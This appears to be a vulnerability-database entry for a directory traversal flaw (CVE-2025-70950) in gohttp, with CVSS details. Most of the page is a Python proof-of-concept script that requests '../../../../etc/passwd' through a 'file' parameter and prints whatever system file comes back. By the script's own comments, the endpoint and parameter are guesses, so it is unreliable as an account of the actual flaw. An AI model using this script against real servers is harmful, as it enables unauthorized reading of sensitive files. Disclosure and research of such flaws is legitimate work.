An issue in gohttp commit 34ea51 allows attackers to execute a directory traversal via supplying a crafted request.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
gohttp commit 34ea51
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_directory_traversal(target_url):
"""
PoC for CVE-2025-70950 (gohttp Directory Traversal)
Attempts to read /etc/passwd from the target server.
"""
# Payload to traverse directories
traversal_payload = "../../../../etc/passwd"
# Construct the full URL (Assuming the vulnerable endpoint accepts a file parameter)
# Adjust the endpoint path based on the specific gohttp implementation
exploit_url = f"{target_url}/?file={traversal_payload}"
try:
print(f"[*] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)
if response.status_code == 200:
# Check if the response contains typical file content
if "root:" in response.text:
print("[+] Exploit successful! Sensitive file content retrieved:")
print(response.text)
else:
print("[-] Request sent, but file content not recognized.")
print(response.text[:200])
else:
print(f"[-] Exploit failed. Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual target URL
target = "http://127.0.0.1:8080"
exploit_directory_traversal(target)